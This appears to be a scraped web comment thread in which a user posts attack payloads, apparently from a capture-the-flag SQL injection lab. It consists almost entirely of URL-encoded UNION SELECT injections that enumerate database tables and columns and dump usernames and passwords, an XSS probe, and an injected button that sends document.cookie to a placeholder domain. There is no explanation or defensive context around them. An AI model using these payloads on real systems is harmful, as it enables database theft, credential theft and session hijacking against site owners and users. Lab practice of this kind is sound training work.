"><img src=x onerror=prompt(1);>
0%20UNION%20SELECT%201,2,group_concat(table_name)%20FROM%20information_schema%2etables%20WHERE%20table_schema%20%3d%20'sqli_one'
2025-05-20 06:22:51 回复
0%20UNION%20SELECT%201,2,group_concat(column_name)%20FROM%20information_schema%2ecolumns%20WHERE%20table_name%20%3d%20'staff_users'
2025-05-20 06:22:51 回复
More%20payload%20Link%3ahttps%3a%2f%2fgithub%2ecom%2fswisskyrepo%2fPayloadsAllTheThings%2ftree%2fmaster%2fSQL%20Injection
2025-05-20 06:22:51 回复
0%20UNION%20SELECT%201,2,group_concat(username,'%3a',password%20SEPARATOR%20'%3cbr%3e')%20FROM%20staff_users
2025-05-20 06:22:51 回复
-%20--------%20dump%20data%20from%202%20different%20tables%20----------
2025-05-20 06:22:51 回复
[http%3a%2f%2f10%2e10%2e8%2e191%2fuser%3fid%3d2%20UNION%20ALL%20SELECT%20'1%20union%20select%201,flag,3,4%20from%20flag',%202,3%20from%20users](http%3a%2f%2f10%2e10%2e8%2e191%2fuser%3fid%3d2%20UNION%20ALL%20SELECT%20%271%20union%20select%201,flag,3,4%20from%20flag%27,%202,3%20from%20users)
2025-05-20 06:22:51 回复
2%20UNION%20ALL%20SELECT%20'1%20union%20select%201,flag,3,4%20from%20flag',%202,3%20from%20users
2025-05-20 06:22:51 回复
"><button onclick="fetch('https://yourdomain.com/?cookie='+document.cookie)">Click Me!</button>
2025-05-20 06:12:10 回复